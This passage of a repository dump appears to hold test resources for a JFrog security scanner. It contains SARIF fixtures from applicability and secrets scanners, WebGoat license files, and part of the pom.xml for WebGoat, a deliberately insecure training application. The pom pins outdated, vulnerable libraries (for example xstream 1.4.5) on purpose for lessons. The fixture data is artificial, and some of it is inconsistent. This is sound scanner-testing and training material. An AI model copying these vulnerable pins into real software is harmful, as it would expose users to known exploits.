    "content": "{\n  \"runs\": [\n    {\n      \"tool\": {\n        \"driver\": {\n          \"name\": \"JFrog Applicability Scanner\",\n          \"rules\": [\n            {\n              \"id\": \"applic_CVE-2022-25878\",\n              \"properties\": {\n                \"conclusion\": \"positive\",\n                \"applicability\": \"not_applicable\"\n              },\n              \"fullDescription\": {\n                \"text\": \"The scanner checks whether the vulnerable function `pem.Decode` is called.\",\n                \"markdown\": \"The scanner checks whether the vulnerable function `pem.Decode` is called.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for applic_CVE-2022-25878\"\n              }\n            },\n            {\n              \"id\": \"applic_CVE-2022-25978\",\n              \"properties\": {\n                \"conclusion\": \"negative\",\n                \"applicability\": \"applicable\"\n              },\n              \"fullDescription\": {\n                \"text\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\",\n                \"markdown\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for applic_CVE-2022-25978\"\n              }\n            },\n            {\n              \"id\": \"applic_CVE-2021-25878\",\n              \"fullDescription\": {\n                \"text\": \"The scanner checks whether the vulnerable function `pem.Decode` is called.\",\n                \"markdown\": \"The scanner checks whether the vulnerable function `pem.Decode` is called.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for applic_CVE-2021-25878\"\n              }\n            },\n            {\n              \"id\": \"applic_CVE-2022-29019\",\n              \"fullDescription\": {\n                \"text\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\",\n                \"markdown\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for applic_CVE-2022-29019\"\n              }\n            },\n            {\n              \"id\": \"applic_CVE-2022-29004\",\n              \"fullDescription\": {\n                \"text\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\",\n                \"markdown\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for applic_CVE-2022-29004\"\n              }, \"properties\": {\n              \"conclusion\": \"positive\",\n              \"applicability\": \"not_covered\"\n            }\n            },\n            {\n              \"id\": \"applic_CVE-2022-29014\",\n              \"fullDescription\": {\n                \"text\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\",\n                \"markdown\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for applic_CVE-2022-29014\"\n              }, \"properties\": {\n              \"conclusion\": \"positive\",\n              \"applicability\": \"undetermined\"\n            }\n            }\n          ],\n          \"version\": \"APPLIC_SCANNERv0.2.0\"\n        }\n      },\n      \"invocations\": [\n        {\n          \"executionSuccessful\": true,\n          \"arguments\": [\n            \"scan\"\n          ],\n          \"workingDirectory\": {\n            \"uri\": \"\"\n          }\n        }\n      ],\n      \"results\": [\n        {\n          \"message\": {\n            \"text\": \"The vulnerable function protobufjs.load is called\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"file:///examples/applic-demo/index.js\"\n                },\n                \"region\": {\n                  \"endColumn\": 17,\n                  \"endLine\": 20,\n                  \"snippet\": {\n                    \"text\": \"protobuf.parse(p)\"\n                  },\n                  \"startColumn\": 0,\n                  \"startLine\": 20\n                }\n              }\n            }\n          ],\n          \"ruleId\": \"applic_CVE-2022-25878\"\n        },\n        {\n          \"message\": {\n            \"text\": \"The vulnerable function protobufjs.parse is called.\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"file:///examples/applic-demo/index.js\"\n                },\n                \"region\": {\n                  \"endColumn\": 73,\n                  \"endLine\": 22,\n                  \"snippet\": {\n                    \"text\": \"protobuf.load(\\\"/path/to/untrusted.proto\\\", function(err, root) { return })\"\n                  },\n                  \"startColumn\": 0,\n                  \"startLine\": 18\n                }\n              }\n            }\n          ],\n          \"ruleId\": \"applic_CVE-2022-25978\"\n        },\n        {\n          \"message\": {\n            \"text\": \"The scanner checks whether the vulnerable function `ansi-regex` is called.\"\n          },\n          \"kind\": \"pass\",\n          \"ruleId\": \"applic_CVE-2021-25878\"\n        },\n        {\n          \"message\": {\n            \"text\": \"The scanner checks whether the vulnerable function `ansi-regex` is called.\"\n          },\n          \"kind\": \"fail\",\n          \"ruleId\": \"applic_CVE-2022-29019\"\n        },\n        {\n          \"message\": {\n            \"text\": \"The scanner checks whether the vulnerable function `call-all-ansi` is called.\"\n          },\n          \"kind\": \"pass\",\n          \"ruleId\": \"applic_CVE-2022-29004\"\n        },\n        {\"message\": {\n          \"text\": \"The scanner checks whether the vulnerable function `not-call-all-ansi` is called.\"\n        },\n          \"kind\": \"pass\",\n          \"ruleId\": \"applic_CVE-2022-29014\"\n        },\n        {\"message\": {\n          \"text\": \"The scanner checks whether the vulnerable function `not-call-all-ansi` is called.\"\n        },\n          \"kind\": \"pass\",\n          \"ruleId\": \"applic_CVE-2022-29614\"\n        }\n      ]\n    }\n  ],\n  \"version\": \"2.1.0\",\n  \"$schema\": \"https://docs.oasis-open.org/sarif/sarif/v2.1.0/cos02/schemas/sarif-schema-2.1.0.json\"\n}"
  },
  {
    "path": "src/test/resources/sourceCode/secrets_with_informational_output.sarif",
    "content": "{\n  \"runs\": [\n    {\n      \"tool\": {\n        \"driver\": {\n          \"name\": \"JFrog Secrets Scanner\",\n          \"rules\": [\n            {\n              \"id\": \"REQ.SECRET.GENERIC.TEXT\",\n              \"fullDescription\": {\n                \"text\": \"Scans for generic text secrets.\",\n                \"markdown\": \"Scans for generic text secrets.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for generic text secrets\"\n              }\n            },\n            {\n              \"id\": \"REQ.SECRET.KEYS\",\n              \"fullDescription\": {\n                \"text\": \"Scans for secret keys.\",\n                \"markdown\": \"Scans for secret keys.\"\n              },\n              \"shortDescription\": {\n                \"text\": \"Scanner for secret keys\"\n              }\n            }\n          ],\n          \"version\": \"SECRETS_SCANNERv0.1.0\"\n        }\n      },\n      \"invocations\": [\n        {\n          \"executionSuccessful\": true,\n          \"arguments\": [\n            \"scan\"\n          ],\n          \"workingDirectory\": {\n            \"uri\": \"\"\n          }\n        }\n      ],\n      \"results\": [\n        {\n          \"kind\": \"informational\",\n          \"message\": {\n            \"text\": \"The scanner REQ.SECRET.GENERIC.TEXT has ran\"\n          },\n          \"ruleId\": \"REQ.SECRET.GENERIC.TEXT\"\n        },\n        {\n          \"kind\": \"informational\",\n          \"message\": {\n            \"text\": \"The scanner REQ.SECRET.KEYS has ran\"\n          },\n          \"ruleId\": \"REQ.SECRET.KEYS\"\n        },\n        {\n          \"level\": \"error\",\n          \"message\": {\n            \"text\": \"Hardcoded secrets were found\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"file:///project/src/config.js\"\n                },\n                \"region\": {\n                  \"startLine\": 10,\n                  \"endLine\": 10,\n                  \"startColumn\": 1,\n                  \"endColumn\": 40,\n                  \"snippet\": {\n                    \"text\": \"token**********\"\n                  }\n                }\n              }\n            }\n          ],\n          \"ruleId\": \"REQ.SECRET.GENERIC.TEXT\"\n        }\n      ]\n    }\n  ],\n  \"version\": \"2.1.0\",\n  \"$schema\": \"https://docs.oasis-open.org/sarif/sarif/v2.1.0/cos02/schemas/sarif-schema-2.1.0.json\"\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/simple_output.sarif",
    "content": "{\n    \"runs\": [\n        {\n            \"tool\": {\n                \"driver\": {\n                    \"name\": \"JFrog Applicability Scanner\",\n                    \"rules\": [\n               \n                        {\n                            \"id\": \"applic_CVE-2022-25878\",\n                            \"properties\": {\n                                \"conclusion\": \"negative\",\n                                \"applicability\": \"applicable\"\n                            },\n                            \"fullDescription\": {\n                                \"text\": \"The scanner checks whether the vulnerable function `pem.Decode` is called.\",\n                                \"markdown\": \"The scanner checks whether the vulnerable function `pem.Decode` is called.\"\n                            },\n                            \"shortDescription\": {\n                                \"text\": \"Scanner for CVE-2020-28502\"\n                            }\n                        },\n                        {\n                            \"id\": \"CVE-2022-25978\",\n                            \"properties\": {\n                                \"conclusion\": \"negative\",\n                                \"applicability\": \"applicable\"\n                            },\n                            \"fullDescription\": {\n                                \"text\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\",\n                                \"markdown\": \"The scanner checks whether the vulnerable function `org.apache.xmlbeans.XmlObject.Factory.parse` is called or an interface that extends `org.apache.xmlbeans.XmlObject` is used.\"\n                            },\n                            \"shortDescription\": {\n                                \"text\": \"Scanner for CVE-2020-5310\"\n                            }\n                        }\n                      \n                    ],\n                    \"version\": \"APPLIC_SCANNERv0.2.0\"\n                }\n            },\n            \"invocations\": [\n                {\n                    \"executionSuccessful\": true,\n                    \"arguments\": [\n                        \"scan\"\n                    ],\n                    \"workingDirectory\": {\n                        \"uri\": \"\"\n                    }\n                }\n            ],\n            \"results\": [\n                {\n                    \"message\": {\n                        \"text\": \"The vulnerable function protobufjs.load is called\"\n                    },\n                    \"locations\": [\n                        {\n                            \"physicalLocation\": {\n                                \"artifactLocation\": {\n                                    \"uri\": \"file:///examples/applic-demo/index.js\"\n                                },\n                                \"region\": {\n                                    \"endColumn\": 18,\n                                    \"endLine\": 20,\n                                    \"snippet\": {\n                                        \"text\": \"protobuf.parse(p)\"\n                                    },\n                                    \"startColumn\": 1,\n                                    \"startLine\": 20\n                                }\n                            }\n                        }\n                    ],\n                    \"ruleId\": \"applic_CVE-2022-25878\"\n                },\n                {\n                    \"message\": {\n                        \"text\": \"The vulnerable function protobufjs.parse is called.\"\n                    },\n                    \"locations\": [\n                        {\n                            \"physicalLocation\": {\n                                \"artifactLocation\": {\n                                    \"uri\": \"file:///examples/applic-demo/index.js\"\n                                },\n                                \"region\": {\n                                    \"endColumn\": 74,\n                                    \"endLine\": 22,\n                                    \"snippet\": {\n                                        \"text\": \"protobuf.load(\\\"/path/to/untrusted.proto\\\", function(err, root) { return })\"\n                                    },\n                                    \"startColumn\": 1,\n                                    \"startLine\": 18\n                                }\n                            }\n                        }\n                    ],\n                    \"ruleId\": \"CVE-2022-25978\"\n                }\n            ]\n        }\n    ],\n    \"version\": \"2.1.0\",\n    \"$schema\": \"https://docs.oasis-open.org/sarif/sarif/v2.1.0/cos02/schemas/sarif-schema-2.1.0.json\"\n}"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/COPYRIGHT.txt",
    "content": "This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n\nCopyright (c) 2002 - $today.year Bruce Mayhew\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the\nGNU General Public License as published by the Free Software Foundation; either version 2 of the\nLicense, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nGeneral Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if\nnot, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n02111-1307, USA.\n\nGetting Source ==============\n\nSource for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects."
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/LICENSE.txt",
    "content": "This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n\nCopyright (c) 2002 - 2019 Bruce Mayhew\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the\nGNU General Public License as published by the Free Software Foundation; either version 2 of the\nLicense, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nGeneral Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if\nnot, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n02111-1307, USA.\n\nGetting Source ==============\n\nSource for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects."
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.springframework.boot</groupId>\n    <artifactId>spring-boot-starter-parent</artifactId>\n    <version>2.7.1</version>\n  </parent>\n  <groupId>org.owasp.webgoat</groupId>\n  <artifactId>webgoat</artifactId>\n  <version>2023.3</version>\n  <packaging>jar</packaging>\n\n  <name>WebGoat</name>\n  <description>WebGoat, a deliberately insecure Web Application</description>\n  <url>https://github.com/WebGoat/WebGoat</url>\n  <inceptionYear>2006</inceptionYear>\n  <organization>\n    <name>OWASP</name>\n    <url>https://github.com/WebGoat/WebGoat/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>GNU General Public License, version 2</name>\n      <url>https://www.gnu.org/licenses/gpl-2.0.txt</url>\n    </license>\n  </licenses>\n  <developers>\n    <developer>\n      <id>mayhew64</id>\n      <name>Bruce Mayhew</name>\n      <email>webgoat@owasp.org</email>\n      <organization>OWASP</organization>\n      <organizationUrl>https://github.com/WebGoat/WebGoat</organizationUrl>\n    </developer>\n    <developer>\n      <id>nbaars</id>\n      <name>Nanne Baars</name>\n      <email>nanne.baars@owasp.org</email>\n      <organizationUrl>https://github.com/nbaars</organizationUrl>\n      <timezone>Europe/Amsterdam</timezone>\n    </developer>\n    <developer>\n      <id>misfir3</id>\n      <name>Jason White</name>\n      <email>jason.white@owasp.org</email>\n    </developer>\n    <developer>\n      <id>zubcevic</id>\n      <name>René Zubcevic</name>\n      <email>rene.zubcevic@owasp.org</email>\n    </developer>\n    <developer>\n      <id>aolle</id>\n      <name>Àngel Ollé Blázquez</name>\n      <email>angel@olleb.com</email>\n    </developer>\n    <developer>\n      <id>jwayman</id>\n      <name>Jeff Wayman</name>\n      <email></email>\n    </developer>\n    <developer>\n      <id>dcowden</id>\n      <name>Dave Cowden</name>\n      <email></email>\n    </developer>\n    <developer>\n      <id>lawson89</id>\n      <name>Richard Lawson</name>\n      <email></email>\n    </developer>\n    <developer>\n      <id>dougmorato</id>\n      <name>Doug Morato</name>\n      <email>doug.morato@owasp.org</email>\n      <organization>OWASP</organization>\n      <organizationUrl>https://github.com/dougmorato</organizationUrl>\n      <timezone>America/New_York</timezone>\n      <properties>\n        <picUrl>https://avatars2.githubusercontent.com/u/9654?v=3&amp;s=150</picUrl>\n      </properties>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>OWASP WebGoat Mailing List</name>\n      <subscribe>https://lists.owasp.org/mailman/listinfo/owasp-webgoat</subscribe>\n      <unsubscribe>Owasp-webgoat-request@lists.owasp.org</unsubscribe>\n      <post>owasp-webgoat@lists.owasp.org</post>\n      <archive>http://lists.owasp.org/pipermail/owasp-webgoat/</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>\n    <developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>\n    <tag>HEAD</tag>\n    <url>https://github.com/WebGoat/WebGoat</url>\n  </scm>\n\n  <issueManagement>\n    <system>Github Issues</system>\n    <url>https://github.com/WebGoat/WebGoat/issues</url>\n  </issueManagement>\n\n  <properties>\n\n    <!-- Shared properties with plugins and version numbers across submodules-->\n    <asciidoctorj.version>2.5.3</asciidoctorj.version>\n    <bootstrap.version>3.3.7</bootstrap.version>\n    <cglib.version>2.2</cglib.version>\n    <!-- do not update necessary for lesson -->\n    <checkstyle.version>3.1.2</checkstyle.version>\n    <commons-collections.version>3.2.1</commons-collections.version>\n    <commons-io.version>2.6</commons-io.version>\n    <commons-lang3.version>3.12.0</commons-lang3.version>\n    <commons-text.version>1.9</commons-text.version>\n    <guava.version>30.1-jre</guava.version>\n    <java.version>17</java.version>\n    <jjwt.version>0.9.1</jjwt.version>\n    <jose4j.version>0.7.6</jose4j.version>\n    <jquery.version>3.5.1</jquery.version>\n    <jsoup.version>1.14.3</jsoup.version>\n    <maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>\n    <maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>\n    <maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>\n    <maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>\n    <maven-source-plugin.version>3.1.0</maven-source-plugin.version>\n    <maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version>\n    <maven.compiler.source>17</maven.compiler.source>\n    <maven.compiler.target>17</maven.compiler.target>\n    <pmd.version>3.15.0</pmd.version>\n    <!-- Use UTF-8 Encoding -->\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <thymeleaf.version>3.0.15.RELEASE</thymeleaf.version>\n    <webdriver.version>4.3.1</webdriver.version>\n    <webgoat.port>8080</webgoat.port>\n    <webwolf.port>9090</webwolf.port>\n    <wiremock.version>2.27.2</wiremock.version>\n    <xml-resolver.version>1.2</xml-resolver.version>\n    <xstream.version>1.4.5</xstream.version>\n    <!-- do not update necessary for lesson -->\n    <zxcvbn.version>1.5.2</zxcvbn.version>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n\n      <dependency>\n        <groupId>org.ow2.asm</groupId>\n        <artifactId>asm</artifactId>\n        <version>9.1</version>\n      </dependency>\n\n      <dependency>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-exec</artifactId>\n        <version>1.3</version>\n      </dependency>\n      <dependency>\n        <groupId>org.asciidoctor</groupId>\n        <artifactId>asciidoctorj</artifactId>\n        <version>${asciidoctorj.version}</version>\n      </dependency>\n      <dependency>\n        <!-- jsoup HTML parser library @ https://jsoup.org/ -->\n        <groupId>org.jsoup</groupId>\n        <artifactId>jsoup</artifactId>\n        <version>${jsoup.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>com.nulab-inc</groupId>\n        <artifactId>zxcvbn</artifactId>\n        <version>${zxcvbn.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>com.thoughtworks.xstream</groupId>\n        <artifactId>xstream</artifactId>\n        <version>${xstream.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>cglib</groupId>\n        <artifactId>cglib-nodep</artifactId>\n        <version>${cglib.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>xml-resolver</groupId>\n        <artifactId>xml-resolver</artifactId>\n        <version>${xml-resolver.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>io.jsonwebtoken</groupId>\n        <artifactId>jjwt</artifactId>\n        <version>${jjwt.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>com.google.guava</groupId>\n        <artifactId>guava</artifactId>\n        <version>${guava.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>commons-io</groupId>\n        <artifactId>commons-io</artifactId>\n        <version>${commons-io.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-text</artifactId>\n        <version>${commons-text.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.bitbucket.b_c</groupId>\n        <artifactId>jose4j</artifactId>\n        <version>${jose4j.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.webjars</groupId>\n        <artifactId>bootstrap</artifactId>\n        <version>${bootstrap.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.webjars</groupId>\n        <artifactId>jquery</artifactId>\n        <version>${jquery.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>com.github.tomakehurst</groupId>\n        <artifactId>wiremock</artifactId>\n        <version>${wiremock.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>io.github.bonigarcia</groupId>\n        <artifactId>webdrivermanager</artifactId>\n        <version>${webdriver.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-compress</artifactId>\n        <version>1.21</version>\n      </dependency>\n      <dependency>\n        <groupId>org.jruby</groupId>\n        <artifactId>jruby</artifactId>\n        <version>9.3.6.0</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-exec</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-validation</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <scope>provided</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.xml.bind</groupId>\n      <artifactId>jaxb-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-undertow</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n      <exclusions>\n        <exclusion>\n          <groupId>org.springframework.boot</groupId>\n          <artifactId>spring-boot-starter-tomcat</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-actuator</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.flywaydb</groupId>\n      <artifactId>flyway-core</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.asciidoctor</groupId>\n      <artifactId>asciidoctorj</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-data-jpa</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-security</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-thymeleaf</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.thymeleaf.extras</groupId>\n      <artifactId>thymeleaf-extras-springsecurity5</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.hsqldb</groupId>\n      <artifactId>hsqldb</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.jsoup</groupId>\n      <artifactId>jsoup</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>com.nulab-inc</groupId>\n      <artifactId>zxcvbn</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>com.thoughtworks.xstream</groupId>\n      <artifactId>xstream</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>cglib</groupId>\n      <artifactId>cglib-nodep</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>xml-resolver</groupId>\n      <artifactId>xml-resolver</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>io.jsonwebtoken</groupId>\n      <artifactId>jjwt</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>com.google.guava</groupId>\n      <artifactId>guava</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>commons-io</groupId>\n      <artifactId>commons-io</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-lang3</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-text</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.bitbucket.b_c</groupId>\n      <artifactId>jose4j</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.webjars</groupId>\n      <artifactId>bootstrap</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.webjars</groupId>\n      <artifactId>jquery</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.glassfish.jaxb</groupId>\n      <artifactId>jaxb-runtime</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework.security</groupId>\n      <artifactId>spring-security-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>com.github.tomakehurst</groupId>\n      <artifactId>wiremock</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>io.rest-assured</groupId>\n      <artifactId>rest-assured</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <repositories>\n    <repository>\n      <snapshots>\n        <enabled>false</enabled>\n      </snapshots>\n      <id>central</id>\n      <url>https://repo.maven.apache.org/maven2</url>\n    </repository>\n  </repositories>\n  <pluginRepositories>\n    <pluginRepository>\n      <snapshots>\n        <enabled>false</enabled>\n      </snapshots>\n      <id>central</id>\n      <url>https://repo.maven.apache.org/maven2</url>\n    </pluginRepository>\n  </pluginRepositories>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n        <configuration>\n          <excludeDevtools>true</excludeDevtools>\n          <executable>true</executable>\n          <mainClass>org.owasp.webgoat.server.StartWebGoat</mainClass>\n          <!-- See http://docs.spring.io/spring-boot/docs/current/reference/html/howto-build.html#howto-extract-specific-libraries-when-an-executable-jar-runs -->\n          <requiresUnpack>\n            <dependency>\n              <groupId>org.asciidoctor</groupId>\n              <artifactId>asciidoctorj</artifactId>\n            </dependency>\n          </requiresUnpack>\n        </configuration>\n        <executions>\n          <execution>\n            <goals>\n              <goal>repackage</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>build-helper-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>add-integration-test-source-as-test-sources</id>\n            <goals>\n              <goal>add-test-source</goal>\n            </goals>\n            <phase>generate-test-sources</phase>\n            <configuration>\n              <sources>\n                <source>src/it/java</source>\n              </sources>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-failsafe-plugin</artifactId>\n        <configuration>\n          <systemPropertyVariables>\n            <logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>\n          </systemPropertyVariables>\n          <argLine>-Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port}</argLine>\n          <includes>org/owasp/webgoat/*Test</includes>\n        </configuration>\n        <executions>\n          <execution>\n            <id>integration-test</id>\n            <goals>\n              <goal>integration-test</goal>\n            </goals>\n          </execution>\n          <execution>\n            <id>verify</id>\n            <goals>\n              <goal>verify</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>${maven-surefire-plugin.version}</version>\n        <configuration>\n          <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED\n                        --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED\n                        --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED\n                        --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED</argLine>\n          <excludes>\n            <exclude>**/*IntegrationTest.java</exclude>\n            <exclude>src/it/java</exclude>\n            <exclude>org/owasp/webgoat/*Test</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <version>${checkstyle.version}</version>\n        <configuration>\n          <encoding>UTF-8</encoding>\n          <consoleOutput>true</consoleOutput>\n          <failsOnError>true</failsOnError>\n          <configLocation>config/checkstyle/checkstyle.xml</configLocation>\n          <suppressionsLocation>config/checkstyle/suppressions.xml</suppressionsLocation>\n          <suppressionsFileExpression>checkstyle.suppressions.file</suppressionsFileExpression>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>com.diffplug.spotless</groupId>\n        <artifactId>spotless-maven-plugin</artifactId>\n        <version>2.29.0</version>\n        <configuration>\n          <formats>\n            <format>\n              <includes>\n                <include>.gitignore</include>\n              </includes>\n              <trimTrailingWhitespace></trimTrailingWhitespace>\n              <endWithNewline></endWithNewline>\n              <indent>\n                <tabs>true</tabs>\n                <spacesPerTab>4</spacesPerTab>\n              </indent>\n            </format>\n          </formats>\n          <markdown>\n            <includes>\n              <include>**/*.md</include>\n            </includes>\n            <flexmark></flexmark>\n          </markdown>\n          <java>\n            <removeUnusedImports></removeUnusedImports>\n            <googleJavaFormat>\n              <style>GOOGLE</style>\n              <reflowLongStrings>true</reflowLongStrings>\n            